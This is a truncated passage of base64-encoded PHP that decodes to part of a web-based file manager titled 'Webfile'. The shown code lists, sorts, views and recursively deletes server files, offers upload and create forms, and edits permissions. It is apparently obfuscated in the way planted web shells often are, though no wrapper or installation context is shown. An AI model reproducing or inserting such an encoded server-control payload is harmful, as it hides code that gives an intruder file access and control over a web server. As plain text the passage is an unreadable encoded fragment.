gdmFsdWU9IicgLiB3b3JkKCdzZXQnKSAuICciIC8+DQoNCgk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhY3Rpb24iIHZhbHVlPSJwZXJtaXNzaW9uIiAvPg0KCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImZpbGUiIHZhbHVlPSInIC4gaHRtbCgkZmlsZSkgLiAnIiAvPg0KCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImRpciIgdmFsdWU9IicgLiBodG1sKCRkaXJlY3RvcnkpIC4gJyIgLz4NCg0KPC90ZD4NCjwvdHI+DQo8L3RhYmxlPg0KDQo8cD48YSBocmVmPSInIC4gJHNlbGYgLiAnP2Rpcj0nIC4gdXJsZW5jb2RlKCRkaXJlY3RvcnkpIC4gJyI+WyAnIC4gd29yZCgnYmFjaycpIC4gJyBdPC9hPjwvcD4NCg0KPC9mb3JtPg0KDQonOw0KDQoJCWh0bWxfZm9vdGVyKCk7DQoNCgl9DQoNCglicmVhazsNCg0KZGVmYXVsdDoNCg0KCWxpc3RpbmdfcGFnZSgpOw0KDQp9DQoNCi8qIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0gKi8NCg0KZnVuY3Rpb24gZ2V0bGlzdCAoJGRpcmVjdG9yeSkgew0KCWdsb2JhbCAkZGVsaW0sICR3aW47DQoNCglpZiAoJGQgPSBAb3BlbmRpcigkZGlyZWN0b3J5KSkgew0KDQoJCXdoaWxlICgoJGZpbGVuYW1lID0gQHJlYWRkaXIoJGQpKSAhPT0gZmFsc2UpIHsNCg0KCQkJJHBhdGggPSAkZGlyZWN0b3J5IC4gJGZpbGVuYW1lOw0KDQoJCQlpZiAoJHN0YXQgPSBAbHN0YXQoJHBhdGgpKSB7DQoNCgkJCQkkZmlsZSA9IGFycmF5KA0KCQkJCQknZmlsZW5hbWUnICAgID0+ICRmaWxlbmFtZSwNCgkJCQkJJ3BhdGgnICAgICAgICA9PiAkcGF0aCwNCgkJCQkJJ2lzX2ZpbGUnICAgICA9PiBAaXNfZmlsZSgkcGF0aCksDQoJCQkJCSdpc19kaXInICAgICAgPT4gQGlzX2RpcigkcGF0aCksDQoJCQkJCSdpc19saW5rJyAgICAgPT4gQGlzX2xpbmsoJHBhdGgpLA0KCQkJCQknaXNfcmVhZGFibGUnID0+IEBpc19yZWFkYWJsZSgkcGF0aCksDQoJCQkJCSdpc193cml0YWJsZScgPT4gQGlzX3dyaXRhYmxlKCRwYXRoKSwNCgkJCQkJJ3NpemUnICAgICAgICA9PiAkc3RhdFsnc2l6ZSddLA0KCQkJCQkncGVybWlzc2lvbicgID0+ICRzdGF0Wydtb2RlJ10sDQoJCQkJCSdvd25lcicgICAgICAgPT4gJHN0YXRbJ3VpZCddLA0KCQkJCQknZ3JvdXAnICAgICAgID0+ICRzdGF0WydnaWQnXSwNCgkJCQkJJ210aW1lJyAgICAgICA9PiBAZmlsZW10aW1lKCRwYXRoKSwNCgkJCQkJJ2F0aW1lJyAgICAgICA9PiBAZmlsZWF0aW1lKCRwYXRoKSwNCgkJCQkJJ2N0aW1lJyAgICAgICA9PiBAZmlsZWN0aW1lKCRwYXRoKQ0KCQkJCSk7DQoNCgkJCQlpZiAoJGZpbGVbJ2lzX2RpciddKSB7DQoJCQkJCSRmaWxlWydpc19leGVjdXRhYmxlJ10gPSBAZmlsZV9leGlzdHMoJHBhdGggLiAkZGVsaW0gLiAnLicpOw0KCQkJCX0gZWxzZSB7DQoJCQkJCWlmICghJHdpbikgew0KCQkJCQkJJGZpbGVbJ2lzX2V4ZWN1dGFibGUnXSA9IEBpc19leGVjdXRhYmxlKCRwYXRoKTsNCgkJCQkJfSBlbHNlIHsNCgkJCQkJCSRmaWxlWydpc19leGVjdXRhYmxlJ10gPSB0cnVlOw0KCQkJCQl9DQoJCQkJfQ0KDQoJCQkJaWYgKCRmaWxlWydpc19saW5rJ10pICRmaWxlWyd0YXJnZXQnXSA9IEByZWFkbGluaygkcGF0aCk7DQoNCgkJCQlpZiAoZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXRwd3VpZCcpKSAkZmlsZVsnb3duZXJfbmFtZSddID0gQHJlc2V0KHBvc2l4X2dldHB3dWlkKCRmaWxlWydvd25lciddKSk7DQoJCQkJaWYgKGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0Z3JnaWQnKSkgJGZpbGVbJ2dyb3VwX25hbWUnXSA9IEByZXNldChwb3NpeF9nZXRncmdpZCgkZmlsZVsnZ3JvdXAnXSkpOw0KDQoJCQkJJGZpbGVzW10gPSAkZmlsZTsNCg0KCQkJfQ0KDQoJCX0NCg0KCQlyZXR1cm4gJGZpbGVzOw0KDQoJfSBlbHNlIHsNCgkJcmV0dXJuIGZhbHNlOw0KCX0NCg0KfQ0KDQpmdW5jdGlvbiBzb3J0bGlzdCAoJiRsaXN0LCAka2V5LCAkcmV2ZXJzZSkgew0KDQoJcXVpY2tzb3J0KCRsaXN0LCAwLCBzaXplb2YoJGxpc3QpIC0gMSwgJGtleSk7DQoNCglpZiAoJHJldmVyc2UpICRsaXN0ID0gYXJyYXlfcmV2ZXJzZSgkbGlzdCk7DQoNCn0NCg0KZnVuY3Rpb24gcXVpY2tzb3J0ICgmJGFycmF5LCAkZmlyc3QsICRsYXN0LCAka2V5KSB7DQoNCglpZiAoJGZpcnN0IDwgJGxhc3QpIHsNCg0KCQkkY21wID0gJGFycmF5W2Zsb29yKCgkZmlyc3QgKyAkbGFzdCkgLyAyKV1bJGtleV07DQoNCgkJJGwgPSAkZmlyc3Q7DQoJCSRyID0gJGxhc3Q7DQoNCgkJd2hpbGUgKCRsIDw9ICRyKSB7DQoNCgkJCXdoaWxlICgkYXJyYXlbJGxdWyRrZXldIDwgJGNtcCkgJGwrKzsNCgkJCXdoaWxlICgkYXJyYXlbJHJdWyRrZXldID4gJGNtcCkgJHItLTsNCg0KCQkJaWYgKCRsIDw9ICRyKSB7DQoNCgkJCQkkdG1wID0gJGFycmF5WyRsXTsNCgkJCQkkYXJyYXlbJGxdID0gJGFycmF5WyRyXTsNCgkJCQkkYXJyYXlbJHJdID0gJHRtcDsNCg0KCQkJCSRsKys7DQoJCQkJJHItLTsNCg0KCQkJfQ0KDQoJCX0NCg0KCQlxdWlja3NvcnQoJGFycmF5LCAkZmlyc3QsICRyLCAka2V5KTsNCgkJcXVpY2tzb3J0KCRhcnJheSwgJGwsICRsYXN0LCAka2V5KTsNCg0KCX0NCg0KfQ0KDQpmdW5jdGlvbiBwZXJtaXNzaW9uX29jdGFsMnN0cmluZyAoJG1vZGUpIHsNCg0KCWlmICgoJG1vZGUgJiAweEMwMDApID09PSAweEMwMDApIHsNCgkJJHR5cGUgPSAncyc7DQoJfSBlbHNlaWYgKCgkbW9kZSAmIDB4QTAwMCkgPT09IDB4QTAwMCkgew0KCQkkdHlwZSA9ICdsJzsNCgl9IGVsc2VpZiAoKCRtb2RlICYgMHg4MDAwKSA9PT0gMHg4MDAwKSB7DQoJCSR0eXBlID0gJy0nOw0KCX0gZWxzZWlmICgoJG1vZGUgJiAweDYwMDApID09PSAweDYwMDApIHsNCgkJJHR5cGUgPSAnYic7DQoJfSBlbHNlaWYgKCgkbW9kZSAmIDB4NDAwMCkgPT09IDB4NDAwMCkgew0KCQkkdHlwZSA9ICdkJzsNCgl9IGVsc2VpZiAoKCRtb2RlICYgMHgyMDAwKSA9PT0gMHgyMDAwKSB7DQoJCSR0eXBlID0gJ2MnOw0KCX0gZWxzZWlmICgoJG1vZGUgJiAweDEwMDApID09PSAweDEwMDApIHsNCgkJJHR5cGUgPSAncCc7DQoJfSBlbHNlIHsNCgkJJHR5cGUgPSAnPyc7DQoJfQ0KDQoJJG93bmVyICA9ICgkbW9kZSAmIDAwNDAwKSA/ICdyJyA6ICctJzsNCgkkb3duZXIgLj0gKCRtb2RlICYgMDAyMDApID8gJ3cnIDogJy0nOw0KCWlmICgkbW9kZSAmIDB4ODAwKSB7DQoJCSRvd25lciAuPSAoJG1vZGUgJiAwMDEwMCkgPyAncycgOiAnUyc7DQoJfSBlbHNlIHsNCgkJJG93bmVyIC49ICgkbW9kZSAmIDAwMTAwKSA/ICd4JyA6ICctJzsNCgl9DQoNCgkkZ3JvdXAgID0gKCRtb2RlICYgMDAwNDApID8gJ3InIDogJy0nOw0KCSRncm91cCAuPSAoJG1vZGUgJiAwMDAyMCkgPyAndycgOiAnLSc7DQoJaWYgKCRtb2RlICYgMHg0MDApIHsNCgkJJGdyb3VwIC49ICgkbW9kZSAmIDAwMDEwKSA/ICdzJyA6ICdTJzsNCgl9IGVsc2Ugew0KCQkkZ3JvdXAgLj0gKCRtb2RlICYgMDAwMTApID8gJ3gnIDogJy0nOw0KDQoJfQ0KDQoJJG90aGVyICA9ICgkbW9kZSAmIDAwMDA0KSA/ICdyJyA6ICctJzsNCgkkb3RoZXIgLj0gKCRtb2RlICYgMDAwMDIpID8gJ3cnIDogJy0nOw0KCWlmICgkbW9kZSAmIDB4MjAwKSB7DQoJCSRvdGhlciAuPSAoJG1vZGUgJiAwMDAwMSkgPyAndCcgOiAnVCc7DQoJfSBlbHNlIHsNCgkJJG90aGVyIC49ICgkbW9kZSAmIDAwMDAxKSA/ICd4JyA6ICctJzsNCgl9DQoNCglyZXR1cm4gJHR5cGUgLiAkb3duZXIgLiAkZ3JvdXAgLiAkb3RoZXI7DQoNCn0NCg0KZnVuY3Rpb24gaXNfc2NyaXB0ICgkZmlsZW5hbWUpIHsNCglyZXR1cm4gZXJlZygnXC5waHAkfFwucGhwMyR8XC5waHA0JHxcLnBocDUkJywgJGZpbGVuYW1lKTsNCn0NCg0KZnVuY3Rpb24gZ2V0bWltZXR5cGUgKCRmaWxlbmFtZSkgew0KCXN0YXRpYyAkbWltZXMgPSBhcnJheSgNCgkJJ1wuanBnJHxcLmpwZWckJyAgPT4gJ2ltYWdlL2pwZWcnLA0KCQknXC5naWYkJyAgICAgICAgICA9PiAnaW1hZ2UvZ2lmJywNCgkJJ1wucG5nJCcgICAgICAgICAgPT4gJ2ltYWdlL3BuZycsDQoJCSdcLmh0bWwkfFwuaHRtbCQnID0+ICd0ZXh0L2h0bWwnLA0KCQknXC50eHQkfFwuYXNjJCcgICA9PiAndGV4dC9wbGFpbicsDQoJCSdcLnhtbCR8XC54c2wkJyAgID0+ICdhcHBsaWNhdGlvbi94bWwnLA0KCQknXC5wZGYkJyAgICAgICAgICA9PiAnYXBwbGljYXRpb24vcGRmJw0KCSk7DQoNCglmb3JlYWNoICgkbWltZXMgYXMgJHJlZ2V4ID0+ICRtaW1lKSB7DQoJCWlmIChlcmVnaSgkcmVnZXgsICRmaWxlbmFtZSkpIHJldHVybiAkbWltZTsNCgl9DQoNCgkvLyByZXR1cm4gJ2FwcGxpY2F0aW9uL29jdGV0LXN0cmVhbSc7DQoJcmV0dXJuICd0ZXh0L3BsYWluJzsNCg0KfQ0KDQpmdW5jdGlvbiBkZWwgKCRmaWxlKSB7DQoJZ2xvYmFsICRkZWxpbTsNCg0KCWlmICghQGlzX2xpbmsoJGZpbGUpICYmICFmaWxlX2V4aXN0cygkZmlsZSkpIHJldHVybiBmYWxzZTsNCg0KCWlmICghQGlzX2xpbmsoJGZpbGUpICYmIEBpc19kaXIoJGZpbGUpKSB7DQoNCgkJaWYgKCRkaXIgPSBAb3BlbmRpcigkZmlsZSkpIHsNCg0KCQkJJGVycm9yID0gZmFsc2U7DQoNCgkJCXdoaWxlICgoJGYgPSByZWFkZGlyKCRkaXIpKSAhPT0gZmFsc2UpIHsNCgkJCQlpZiAoJGYgIT0gJy4nICYmICRmICE9ICcuLicgJiYgIWRlbCgkZmlsZSAuICRkZWxpbSAuICRmKSkgew0KCQkJCQkkZXJyb3IgPSB0cnVlOw0KCQkJCX0NCgkJCX0NCgkJCWNsb3NlZGlyKCRkaXIpOw0KDQoJCQlpZiAoISRlcnJvcikgcmV0dXJuIEBybWRpcigkZmlsZSk7DQoNCgkJCXJldHVybiAhJGVycm9yOw0KDQoJCX0gZWxzZSB7DQoJCQlyZXR1cm4gZmFsc2U7DQoJCX0NCg0KCX0gZWxzZSB7DQoJCXJldHVybiBAdW5saW5rKCRmaWxlKTsNCgl9DQoNCn0NCg0KZnVuY3Rpb24gYWRkc2xhc2ggKCRkaXJlY3RvcnkpIHsNCglnbG9iYWwgJGRlbGltOw0KDQoJaWYgKHN1YnN0cigkZGlyZWN0b3J5LCAtMSwgMSkgIT0gJGRlbGltKSB7DQoJCXJldHVybiAkZGlyZWN0b3J5IC4gJGRlbGltOw0KCX0gZWxzZSB7DQoJCXJldHVybiAkZGlyZWN0b3J5Ow0KCX0NCg0KfQ0KDQpmdW5jdGlvbiByZWxhdGl2ZTJhYnNvbHV0ZSAoJHN0cmluZywgJGRpcmVjdG9yeSkgew0KDQoJaWYgKHBhdGhfaXNfcmVsYXRpdmUoJHN0cmluZykpIHsNCgkJcmV0dXJuIHNpbXBsaWZ5X3BhdGgoYWRkc2xhc2goJGRpcmVjdG9yeSkgLiAkc3RyaW5nKTsNCgl9IGVsc2Ugew0KCQlyZXR1cm4gc2ltcGxpZnlfcGF0aCgkc3RyaW5nKTsNCgl9DQoNCn0NCg0KZnVuY3Rpb24gcGF0aF9pc19yZWxhdGl2ZSAoJHBhdGgpIHsNCglnbG9iYWwgJHdpbjsNCg0KCWlmICgkd2luKSB7DQoJCXJldHVybiAoc3Vic3RyKCRwYXRoLCAxLCAxKSAhPSAnOicpOw0KCX0gZWxzZSB7DQoJCXJldHVybiAoc3Vic3RyKCRwYXRoLCAwLCAxKSAhPSAnLycpOw0KCX0NCg0KfQ0KDQpmdW5jdGlvbiBhYnNvbHV0ZTJyZWxhdGl2ZSAoJGRpcmVjdG9yeSwgJHRhcmdldCkgew0KCWdsb2JhbCAkZGVsaW07DQoNCgkkcGF0aCA9ICcnOw0KCXdoaWxlICgkZGlyZWN0b3J5ICE9ICR0YXJnZXQpIHsNCgkJaWYgKCRkaXJlY3RvcnkgPT0gc3Vic3RyKCR0YXJnZXQsIDAsIHN0cmxlbigkZGlyZWN0b3J5KSkpIHsNCgkJCSRwYXRoIC49IHN1YnN0cigkdGFyZ2V0LCBzdHJsZW4oJGRpcmVjdG9yeSkpOw0KCQkJYnJlYWs7DQoJCX0gZWxzZSB7DQoJCQkkcGF0aCAuPSAnLi4nIC4gJGRlbGltOw0KCQkJJGRpcmVjdG9yeSA9IHN1YnN0cigkZGlyZWN0b3J5LCAwLCBzdHJycG9zKHN1YnN0cigkZGlyZWN0b3J5LCAwLCAtMSksICRkZWxpbSkgKyAxKTsNCgkJfQ0KCX0NCglpZiAoJHBhdGggPT0gJycpICRwYXRoID0gJy4nOw0KDQoJcmV0dXJuICRwYXRoOw0KDQp9DQoNCmZ1bmN0aW9uIHNpbXBsaWZ5X3BhdGggKCRwYXRoKSB7DQoJZ2xvYmFsICRkZWxpbTsNCg0KCWlmIChAZmlsZV9leGlzdHMoJHBhdGgpICYmIGZ1bmN0aW9uX2V4aXN0cygncmVhbHBhdGgnKSAmJiBAcmVhbHBhdGgoJHBhdGgpICE9ICcnKSB7DQoJCSRwYXRoID0gcmVhbHBhdGgoJHBhdGgpOw0KCQlpZiAoQGlzX2RpcigkcGF0aCkpIHsNCgkJCXJldHVybiBhZGRzbGFzaCgkcGF0aCk7DQoJCX0gZWxzZSB7DQoJCQlyZXR1cm4gJHBhdGg7DQoJCX0NCgl9DQoNCgkkcGF0dGVybiAgPSAkZGVsaW0gLiAnLicgLiAkZGVsaW07DQoNCglpZiAoQGlzX2RpcigkcGF0aCkpIHsNCgkJJHBhdGggPSBhZGRzbGFzaCgkcGF0aCk7DQoJfQ0KDQoJd2hpbGUgKHN0cnBvcygkcGF0aCwgJHBhdHRlcm4pICE9PSBmYWxzZSkgew0KCQkkcGF0aCA9IHN0cl9yZXBsYWNlKCRwYXR0ZXJuLCAkZGVsaW0sICRwYXRoKTsNCgl9DQoNCgkkZSA9IGFkZHNsYXNoZXMoJGRlbGltKTsNCgkkcmVnZXggPSAkZSAuICcoKFwuW15cLicgLiAkZSAuICddW14nIC4gJGUgLiAnXSopfChcLlwuW14nIC4gJGUgLiAnXSspfChbXlwuXVteJyAuICRlIC4gJ10qKSknIC4gJGUgLiAnXC5cLicgLiAkZTsNCg0KCXdoaWxlIChlcmVnKCRyZWdleCwgJHBhdGgpKSB7DQoJCSRwYXRoID0gZXJlZ19yZXBsYWNlKCRyZWdleCwgJGRlbGltLCAkcGF0aCk7DQoJfQ0KCQ0KCXJldHVybiAkcGF0aDsNCg0KfQ0KDQpmdW5jdGlvbiBodW1hbl9maWxlc2l6ZSAoJGZpbGVzaXplKSB7DQoNCgkkc3VmZmljZXMgPSAna01HVFBFJzsNCg0KCSRuID0gMDsNCgl3aGlsZSAoJGZpbGVzaXplID49IDEwMDApIHsNCgkJJGZpbGVzaXplIC89IDEwMjQ7DQoJCSRuKys7DQoJfQ0KDQoJJGZpbGVzaXplID0gcm91bmQoJGZpbGVzaXplLCAzIC0gc3RycG9zKCRmaWxlc2l6ZSwgJy4nKSk7DQoNCglpZiAoc3RycG9zKCRmaWxlc2l6ZSwgJy4nKSAhPT0gZmFsc2UpIHsNCgkJd2hpbGUgKGluX2FycmF5KHN1YnN0cigkZmlsZXNpemUsIC0xLCAxKSwgYXJyYXkoJzAnLCAnLicpKSkgew0KCQkJJGZpbGVzaXplID0gc3Vic3RyKCRmaWxlc2l6ZSwgMCwgc3RybGVuKCRmaWxlc2l6ZSkgLSAxKTsNCgkJfQ0KCX0NCg0KCSRzdWZmaXggPSAoKCRuID09IDApID8gJycgOiBzdWJzdHIoJHN1ZmZpY2VzLCAkbiAtIDEsIDEpKTsNCg0KCXJldHVybiAkZmlsZXNpemUgLiAiIHskc3VmZml4fUIiOw0KDQp9DQoNCmZ1bmN0aW9uIHN0cmlwICgmJHN0cikgew0KCSRzdHIgPSBzdHJpcHNsYXNoZXMoJHN0cik7DQp9DQoNCi8qIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0gKi8NCg0KZnVuY3Rpb24gbGlzdGluZ19wYWdlICgkbWVzc2FnZSA9IG51bGwpIHsNCglnbG9iYWwgJHNlbGYsICRkaXJlY3RvcnksICRzb3J0LCAkcmV2ZXJzZTsNCg0KCWh0bWxfaGVhZGVyKCk7DQoNCgkkbGlzdCA9IGdldGxpc3QoJGRpcmVjdG9yeSk7DQoNCglpZiAoYXJyYXlfa2V5X2V4aXN0cygnc29ydCcsICRfR0VUKSkgJHNvcnQgPSAkX0dFVFsnc29ydCddOyBlbHNlICRzb3J0ID0gJ2ZpbGVuYW1lJzsNCglpZiAoYXJyYXlfa2V5X2V4aXN0cygncmV2ZXJzZScsICRfR0VUKSAmJiAkX0dFVFsncmV2ZXJzZSddID09ICd0cnVlJykgJHJldmVyc2UgPSB0cnVlOyBlbHNlICRyZXZlcnNlID0gZmFsc2U7DQoNCglzb3J0bGlzdCgkbGlzdCwgJHNvcnQsICRyZXZlcnNlKTsNCg0KCWVjaG8gJzxoMSBzdHlsZT0ibWFyZ2luLWJvdHRvbTogMCI+V2ViZmlsZTwvaDE+DQoNCjxmb3JtIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIGFjdGlvbj0iJyAuICRzZWxmIC4gJyIgbWV0aG9kPSJwb3N0Ij4NCg0KPHRhYmxlIGlkPSJtYWluIj4NCic7DQoNCglkaXJlY3RvcnlfY2hvaWNlKCk7DQoNCglpZiAoIWVtcHR5KCRtZXNzYWdlKSkgew0KCQlzcGFjZXIoKTsNCgkJZWNobyAkbWVzc2FnZTsNCgl9DQoNCglpZiAoQGlzX3dyaXRhYmxlKCRkaXJlY3RvcnkpKSB7DQoJCXVwbG9hZF9ib3goKTsNCgkJY3JlYXRlX2JveCgpOw0KCX0gZWxzZSB7DQoJCXNwYWNlcigpOw0KCX0NCg0KCWlmICgkbGlzdCkgew0KCQlsaXN0aW5nKCRsaXN0KTsNCgl9IGVsc2Ugew0KCQllY2hvIGVycm9yKCdub3RfcmVhZGFibGUnLCAkZGlyZWN0b3J5KTsNCgl9DQoNCgllY2hvICc8L3RhYmxlPg0KDQo8L2Zvcm0+DQoNCic7DQoNCglodG1sX2Zvb3RlcigpOw0KDQp9DQoNCmZ1bmN0aW9uIGxpc3RpbmcgKCRsaXN0KSB7DQoJZ2xvYmFsICRkaXJlY3RvcnksICRob21lZGlyLCAkc29ydCwgJHJldmVyc2UsICR3aW4sICRjb2xzLCAkZGF0ZV9mb3JtYXQsICRzZWxmOw0KDQoJZWNobyAnPHRyIGNsYXNzPSJsaXN0aW5nIj4NCgk8dGggc3R5bGU9InRleHQtYWxpZ246IGNlbnRlcjsgdmVydGljYWwtYWxpZ246IG1pZGRsZSI+PGltZyBzcmM9IicgLiAkc2VsZiAuICc/aW1hZ2U9c21pbGV5IiBhbHQ9InNtaWxleSIgLz48L3RoPg0KJzsNCg0KCSRkID0gJ2Rpcj0nIC4gdXJsZW5jb2RlKCRkaXJlY3RvcnkpIC4gJyZhbXA7JzsNCg0KCWlmICghJHJldmVyc2UgJiYgJHNvcnQgPT0gJ2ZpbGVuYW1lJykgJHIgPSAnJmFtcDtyZXZlcnNlPXRydWUnOyBlbHNlICRyID0gJyc7DQoJZWNobyAiXHQ8dGggY2xhc3M9XCJmaWxlbmFtZVwiPjxhIGhyZWY9XCIkc2VsZj97JGR9c29ydD1maWxlbmFtZSRyXCI+IiAuIHdvcmQoJ2ZpbGVuYW1lJykgLiAiPC9hPjwvdGg+XA0KIjsNCg0KCWlmICghJHJldmVyc2UgJiYgJHNvcnQgPT0gJ3NpemUnKSAkciA9ICcmYW1wO3JldmVyc2U9dHJ1ZSc7IGVsc2UgJHIgPSAnJzsNCgllY2hvICJcdDx0aCBjbGFzcz1cInNpemVcIj48YSBocmVmPVwiJHNlbGY/eyRkfXNvcnQ9c2l6ZSRyXCI+IiAuIHdvcmQoJ3NpemUnKSAuICI8L2E+PC90aD5cDQoiOw0KDQoJaWYgKCEkd2luKSB7DQoNCgkJaWYgKCEkcmV2ZXJzZSAmJiAkc29ydCA9PSAncGVybWlzc2lvbicpICRyID0gJyZhbXA7cmV2ZXJzZT10cnVlJzsgZWxzZSAkciA9ICcnOw0KCQllY2hvICJcdDx0aCBjbGFzcz1cInBlcm1pc3Npb25faGVhZGVyXCI+PGEgaHJlZj1cIiRzZWxmP3skZH1zb3J0PXBlcm1pc3Npb24kclwiPiIgLiB3b3JkKCdwZXJtaXNzaW9uJykgLiAiPC9hPjwvdGg+XA0KIjsNCg0KCQlpZiAoISRyZXZlcnNlICYmICRzb3J0ID09ICdvd25lcicpICRyID0gJyZhbXA7cmV2ZXJzZT10cnVlJzsgZWxzZSAkciA9ICcnOw0KCQllY2hvICJcdDx0aCBjbGFzcz1cIm93bmVyXCI+PGEgaHJlZj1cIiRzZWxmP3skZH1zb3J0PW93bmVyJHJcIj4iIC4gd29yZCgnb3duZXInKSAuICI8L2E+PC90aD5cDQoiOw0KDQoJCWlmICghJHJldmVyc2UgJiYgJHNvcnQgPT0gJ2dyb3VwJykgJHIgPSAnJmFtcDtyZXZlcnNlPXRydWUnOyBlbHNlICRyID0gJyc7DQoJCWVjaG8gIlx0PHRoIGNsYXNzPVwiZ3JvdXBcIj48YSBocmVmPVwiJHNlbGY/eyRkfXNvcnQ9Z3JvdXAkclwiPiIgLiB3b3JkKCdncm91cCcpIC4gIjwvYT48L3RoPlwNCiI7DQoNCgl9DQoNCgllY2hvICcJPHRoIGNsYXNzPSJmdW5jdGlvbnMiPicgLiB3b3JkKCdmdW5jdGlvbnMnKSAuICc8L3RoPg0KPC90cj4NCic7DQoNCglmb3IgKCRpID0gMDsgJGkgPCBzaXplb2YoJGxpc3QpOyAkaSsrKSB7DQoJCSRmaWxlID0gJGxpc3RbJGldOw0KDQoJCSR0aW1lc3RhbXBzICA9ICdtdGltZTogJyAuIGRhdGUoJGRhdGVfZm9ybWF0LCAkZmlsZVsnbXRpbWUnXSkgLiAnLCAnOw0KCQkkdGltZXN0YW1wcyAuPSAnYXRpbWU6ICcgLiBkYXRlKCRkYXRlX2Zvcm1hdCwgJGZpbGVbJ2F0aW1lJ10pIC4gJywgJzsNCgkJJHRpbWVzdGFtcHMgLj0gJ2N0aW1lOiAnIC4gZGF0ZSgkZGF0ZV9mb3JtYXQsICRmaWxlWydjdGltZSddKTsNCg0KCQllY2hvICc8dHIgY2xhc3M9Imxpc3RpbmciPg0KCTx0ZCBjbGFzcz0iY2hlY2tib3giPjxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0iY2hlY2tlZCcgLiAkaSAuICciIHZhbHVlPSJ0cnVlIiBvbmZvY3VzPSJhY3RpdmF0ZShcJ290aGVyXCcpIiAvPjwvdGQ+DQoJPHRkIGNsYXNzPSJmaWxlbmFtZSIgdGl0bGU9IicgLiBodG1sKCR0aW1lc3RhbXBzKSAuICciPic7DQoNCgkJaWYgKCRmaWxlWydpc19saW5rJ10pIHsNCg0KCQkJZWNobyAnPGltZyBzcmM9IicgLiAkc2VsZiAuICc/aW1hZ2U9bGluayIgYWx0PSJsaW5rIiAvPiAnOw0KCQkJZWNobyBodG1sKCRmaWxlWydmaWxlbmFtZSddKSAuICcgJnJhcnI7ICc7DQoNCgkJCSRyZWFsX2ZpbGUgPSByZWxhdGl2ZTJhYnNvbHV0ZSgkZmlsZVsndGFyZ2V0J10sICRkaXJlY3RvcnkpOw0KDQoJCQlpZiAoQGlzX3JlYWRhYmxlKCRyZWFsX2ZpbGUpKSB7DQoJCQkJaWYgKEBpc19kaXIoJHJlYWxfZmlsZSkpIHsNCgkJCQkJZWNobyAnWyA8YSBocmVmPSInIC4gJHNlbGYgLiAnP2Rpcj0nIC4gdXJsZW5jb2RlKCRyZWFsX2ZpbGUpIC4gJyI+JyAuIGh0bWwoJGZpbGVbJ3RhcmdldCddKSAuICc8L2E+IF0nOw0KCQkJCX0gZWxzZSB7DQoJCQkJCWVjaG8gJzxhIGhyZWY9IicgLiAkc2VsZiAuICc/YWN0aW9uPXZpZXcmYW1wO2ZpbGU9JyAuIHVybGVuY29kZSgkcmVhbF9maWxlKSAuICciPicgLiBodG1sKCRmaWxlWyd0YXJnZXQnXSkgLiAnPC9hPic7DQoJCQkJfQ0KCQkJfSBlbHNlIHsNCgkJCQllY2hvIGh0bWwoJGZpbGVbJ3RhcmdldCddKTsNCgkJCX0NCg0KCQl9IGVsc2VpZiAoJGZpbGVbJ2lzX2RpciddKSB7DQoNCgkJCWVjaG8gJzxpbWcgc3JjPSInIC4gJHNlbGYgLiAnP2ltYWdlPWZvbGRlciIgYWx0PSJmb2xkZXIiIC8+IFsgJzsNCgkJCWlmICgkd2luIHx8ICRmaWxlWydpc19leGVjdXRhYmxlJ10pIHsNCgkJCQllY2hvICc8YSBocmVmPSInIC4gJHNlbGYgLiAnP2Rpcj0nIC4gdXJsZW5jb2RlKCRmaWxlWydwYXRoJ10pIC4gJyI+JyAuIGh0bWwoJGZpbGVbJ2ZpbGVuYW1lJ10pIC4gJzwvYT4nOw0KCQkJfSBlbHNlIHsNCgkJCQllY2hvIGh0bWwoJGZpbGVbJ2ZpbGVuYW1lJ10pOw0KCQkJfQ0KCQkJZWNobyAnIF0nOw0KDQoJCX0gZWxzZSB7DQoNCgkJCWlmIChzdWJzdHIoJGZpbGVbJ2ZpbGVuYW1lJ10sIDAsIDEpID09ICcuJykgew0KCQkJCWVjaG8gJzxpbWcgc3JjPSInIC4gJHNlbGYgLiAnP2ltYWdlPWhpZGRlbl9maWxlIiBhbHQ9ImhpZGRlbiBmaWxlIiAvPiAnOw0KCQkJfSBlbHNlIHsNCgkJCQllY2hvICc8aW1nIHNyYz0iJyAuICRzZWxmIC4gJz9pbWFnZT1maWxlIiBhbHQ9ImZpbGUiIC8+ICc7DQoJCQl9DQoNCgkJCWlmICgkZmlsZVsnaXNfZmlsZSddICYmICRmaWxlWydpc19yZWFkYWJsZSddKSB7DQoJCQkgICBlY2hvICc8YSBocmVmPSInIC4gJHNlbGYgLiAnP2FjdGlvbj12aWV3JmFtcDtmaWxlPScgLiB1cmxlbmNvZGUoJGZpbGVbJ3BhdGgnXSkgLiAnIj4nIC4gaHRtbCgkZmlsZVsnZmlsZW5hbWUnXSkgLiAnPC9hPic7DQoJCQl9IGVsc2Ugew0KCQkJCWVjaG8gaHRtbCgkZmlsZVsnZmlsZW5hbWUnXSk7DQoJCQl9DQoNCgkJfQ0KDQoJCWlmICgkZmlsZVsnc2l6ZSddID49IDEwMDApIHsNCgkJCSRodW1hbiA9ICcgdGl0bGU9IicgLiBodW1hbl9maWxlc2l6ZSgkZmlsZVsnc2l6ZSddKSAuICciJzsNCgkJfSBlbHNlIHsNCgkJCSRodW1hbiA9ICcnOw0KCQl9DQoNCgkJZWNobyAiXHQ8dGQgY2xhc3M9XCJzaXplXCIkaHVtYW4+eyRmaWxlWydzaXplJ119IEI8L3RkPlwNCiI7DQoNCgkJaWYgKCEkd2luKSB7DQoNCgkJCWVjaG8gIlx0PHRkIGNsYXNzPVwicGVybWlzc2lvblwiIHRpdGxlPVwiIiAuIGRlY29jdCgkZmlsZVsncGVybWlzc2lvbiddKSAuICciPic7DQoNCgkJCSRsID0gISRmaWxlWydpc19saW5rJ10gJiYgKCFmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldHVpZCcpIHx8ICRmaWxlWydvd25lcid